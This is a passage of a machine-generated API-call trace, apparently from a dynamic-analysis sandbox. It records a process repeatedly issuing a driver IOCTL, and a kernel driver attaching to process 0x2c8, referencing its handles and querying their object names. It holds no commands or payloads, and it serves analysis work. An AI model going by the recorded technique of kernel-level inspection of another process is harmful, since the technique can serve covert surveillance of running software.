PsReleaseProcessExitSynchronization () returned 0x2 [0131.844] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0xff [0131.844] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800203e044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa800203e044, ReturnLength=0xfffff88005000508) returned 0x0 [0131.844] ObfDereferenceObject (Object=0xfffffa8003124b80) returned 0x1 [0131.844] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.844] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0131.844] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0131.844] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0xdc, lpOverlapped=0x0) returned 1 [0131.844] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.844] PsAcquireProcessExitSynchronization () returned 0x0 [0131.844] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880050005d0) [0131.844] ObReferenceObjectByHandle (in: Handle=0x15c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa800c0d0cb0, HandleInformation=0x0) returned 0x0 [0131.844] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.845] PsReleaseProcessExitSynchronization () returned 0x2 [0131.845] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0xff [0131.845] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8003a29044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa8003a29044, ReturnLength=0xfffff88005000508) returned 0x0 [0131.845] ObfDereferenceObject (Object=0xfffffa800c0d0cb0) returned 0x12 [0131.845] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.845] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0131.845] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0131.845] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0131.845] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.845] PsAcquireProcessExitSynchronization () returned 0x0 [0131.845] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880050005d0) [0131.845] ObReferenceObjectByHandle (in: Handle=0x160, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa800306e070, HandleInformation=0x0) returned 0x0 [0131.845] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.845] PsReleaseProcessExitSynchronization () returned 0x2 [0131.845] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0xff [0131.845] ObQueryNameString (in: Object=0xfffffa800306e070, ObjectNameInfo=0xfffffa8002041044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8002041044, ReturnLength=0xfffff88005000550) returned 0x0 [0131.845] ObfDereferenceObject (Object=0xfffffa800306e070) returned 0x2 [0131.845] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.845] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0131.845] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0131.845] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x76, lpOverlapped=0x0) returned 1 [0131.845] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.845] PsAcquireProcessExitSynchronization () returned 0x0 [0131.845] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880050005d0) [0131.845] ObReferenceObjectByHandle (in: Handle=0x194, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8003122070, HandleInformation=0x0) returned 0x0 [0131.845] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.845] PsReleaseProcessExitSynchronization () returned 0x2 [0131.845] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0xff [0131.845] ObQueryNameString (in: Object=0xfffffa8003122070, ObjectNameInfo=0xfffffa8003a6f044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8003a6f044, ReturnLength=0xfffff88005000550) returned 0x0 [0131.845] ObfDereferenceObject (Object=0xfffffa8003122070) returned 0x2 [0131.845] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.846] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0131.846] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0131.846] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0131.846] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.846] PsAcquireProcessExitSynchronization () returned 0x0 [0131.846] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880050005d0) [0131.846] ObReferenceObjectByHandle (in: Handle=0x19c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80031228d0, HandleInformation=0x0) returned 0x0 [0131.846] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.846] PsReleaseProcessExitSynchronization () returned 0x2 [0131.846] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0xff [0131.846] ObQueryNameString (in: Object=0xfffffa80031228d0, ObjectNameInfo=0xfffffa8003a72044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8003a72044, ReturnLength=0xfffff88005000550) returned 0x0 [0131.846] ObfDereferenceObject (Object=0xfffffa80031228d0) returned 0x2 [0131.846] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.846] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0131.846] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0131.846] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0131.846] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.846] PsAcquireProcessExitSynchronization () returned 0x0 [0131.846] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880050005d0) [0131.846] ObReferenceObjectByHandle (in: Handle=0x1a4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8003167360, HandleInformation=0x0) returned 0x0 [0131.846] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.846] PsReleaseProcessExitSynchronization () returned 0x2 [0131.846] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0xff [0131.846] ObQueryNameString (in: Object=0xfffffa8003167360, ObjectNameInfo=0xfffffa800391a7c4, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa800391a7c4, ReturnLength=0xfffff88005000550) returned 0x0 [0131.846] ObfDereferenceObject (Object=0xfffffa8003167360) returned 0x2 [0131.846] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.846] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0131.846] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0131.846] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0131.846] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.847] PsAcquireProcessExitSynchronization () returned 0x0 [0131.847] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880050005d0) [0131.847] ObReferenceObjectByHandle (in: Handle=0x1a8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8003169bb0, HandleInformation=0x0) returned 0x0 [0131.847] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.847] PsReleaseProcessExitSynchronization () returned 0x2 [0131.847] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0xff [0131.847] ObQueryNameString (in: Object=0xfffffa8003169bb0, ObjectNameInfo=0xfffffa80037d67c4, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa80037d67c4, ReturnLength=0xfffff88005000550) returned 0x0 [0131.847] ObfDereferenceObject (Object=0xfffffa8003169bb0) returned 0x2 [0131.847] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.847] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0131.847] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0131.847] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x8a, lpOverlapped=0x0) returned 1 [0131.847] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.847] PsAcquireProcessExitSynchronization () returned 0x0 [0131.847] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880050005d0) [0131.847] ObReferenceObjectByHandle (in: Handle=0x1c4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa800316a180, HandleInformation=0x0) returned 0x0 [0131.847] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.847] PsReleaseProcessExitSynchronization () returned 0x2 [0131.847] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0xff [0131.847] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a06044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa8001a06044, ReturnLength=0xfffff88005000508) returned 0x0 [0131.847] ObfDereferenceObject (Object=0xfffffa800316a180) returned 0x20 [0131.847] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.847] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0131.847] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0131.847] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x94, lpOverlapped=0x0) returned 1 [0131.847] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.847] PsAcquireProcessExitSynchronization () returned 0x0 [0131.847] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880050005d0) [0131.847] ObReferenceObjectByHandle (in: Handle=0x1c8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa800b6a4e20, HandleInformation=0x0) returned 0x0 [0131.847] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.847] PsReleaseProcessExitSynchronization () returned 0x2 [0131.847] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0xff [0131.847] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a01044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa8001a01044, ReturnLength=0xfffff88005000508) returned 0x0 [0131.847] ObfDereferenceObject (Object=0xfffffa800b6a4e20) returned 0x20 [0131.847] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.848] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0131.848] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0131.848] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0xa0, lpOverlapped=0x0) returned 1 [0131.848] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.848] PsAcquireProcessExitSynchronization () returned 0x0 [0131.848] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880050005d0) [0131.848] ObReferenceObjectByHandle (in: Handle=0x1dc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa800316fea0, HandleInformation=0x0) returned 0x0 [0131.848] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.848] PsReleaseProcessExitSynchronization () returned 0x2 [0131.848] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0xff [0131.848] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a00044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa8001a00044, ReturnLength=0xfffff88005000508) returned 0x0 [0131.848] ObfDereferenceObject (Object=0xfffffa800316fea0) returned 0x12 [0131.848] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.848] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0131.848] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0131.848] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x8e, lpOverlapped=0x0) returned 1 [0131.848] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.848] PsAcquireProcessExitSynchronization () returned 0x0 [0131.848] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880050005d0) [0131.848] ObReferenceObjectByHandle (in: Handle=0x204, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa800316d800, HandleInformation=0x0) returned 0x0 [0131.848] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.848] PsReleaseProcessExitSynchronization () returned 0x2 [0131.848] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0xff [0131.848] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800201f044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa800201f044, ReturnLength=0xfffff88005000508) returned 0x0 [0131.848] ObfDereferenceObject (Object=0xfffffa800316d800) returned 0x20 [0131.848] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.848] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0131.848] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0131.848] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0xa2, lpOverlapped=0x0) returned 1 [0131.848] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.848] PsAcquireProcessExitSynchronization () returned 0x0 [0131.848] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880050005d0) [0131.848] ObReferenceObjectByHandle (in: Handle=0x210, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa800316eda0, HandleInformation=0x0) returned 0x0 [0131.849] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.849] PsReleaseProcessExitSynchronization () returned 0x2 [0131.849] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0xff [0131.849] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a10044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa8001a10044, ReturnLength=0xfffff88005000508) returned 0x0 [0131.849] ObfDereferenceObject (Object=0xfffffa800316eda0) returned 0x12 [0131.849] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.849] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0131.849] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0131.849] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x8c, lpOverlapped=0x0) returned 1 [0131.849] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.849] PsAcquireProcessExitSynchronization () returned 0x0 [0131.849] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880050005d0) [0131.849] ObReferenceObjectByHandle (in: Handle=0x214, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa800f25e8e0, HandleInformation=0x0) returned 0x0 [0131.849] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.849] PsReleaseProcessExitSynchronization () returned 0x2 [0131.849] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0xff [0131.849] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80019f9044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa80019f9044, ReturnLength=0xfffff88005000508) returned 0x0 [0131.849] ObfDereferenceObject (Object=0xfffffa800f25e8e0) returned 0x12 [0131.849] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.849] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0131.849] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0131.849] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x96, lpOverlapped=0x0) returned 1 [0131.849] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.849] PsAcquireProcessExitSynchronization () returned 0x0 [0131.849] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880050005d0) [0131.849] ObReferenceObjectByHandle (in: Handle=0x218, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa800316ec50, HandleInformation=0x0) returned 0x0 [0131.849] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.849] PsReleaseProcessExitSynchronization () returned 0x2 [0131.849] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0xff [0131.849] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a03044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa8001a03044, ReturnLength=0xfffff88005000508) returned 0x0 [0131.849] ObfDereferenceObject (Object=0xfffffa800316ec50) returned 0x12 [0131.849] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.850] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0131.850] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0131.850] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0xaa, lpOverlapped=0x0) returned 1 [0131.850] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.850] PsAcquireProcessExitSynchronization () returned 0x0 [0131.850] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880050005d0) [0131.850] ObReferenceObjectByHandle (in: Handle=0x21c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa800316d6b0, HandleInformation=0x0) returned 0x0 [0131.850] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.850] PsReleaseProcessExitSynchronization () returned 0x2 [0131.850] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0xff [0131.850] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a02044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa8001a02044, ReturnLength=0xfffff88005000508) returned 0x0 [0131.850] ObfDereferenceObject (Object=0xfffffa800316d6b0) returned 0x12 [0131.850] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.850] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0131.850] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0131.850] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x9a, lpOverlapped=0x0) returned 1 [0131.850] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.850] PsAcquireProcessExitSynchronization () returned 0x0 [0131.850] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880050005d0) [0131.850] ObReferenceObjectByHandle (in: Handle=0x224, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa800316f070, HandleInformation=0x0) returned 0x0 [0131.850] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.850] PsReleaseProcessExitSynchronization () returned 0x2 [0131.850] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0xff [0131.850] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a07044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa8001a07044, ReturnLength=0xfffff88005000508) returned 0x0 [0131.850] ObfDereferenceObject (Object=0xfffffa800316f070) returned 0x12 [0131.850] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.850] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0131.850] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0131.850] DeviceIoControl (in: hDevice=0x7c, 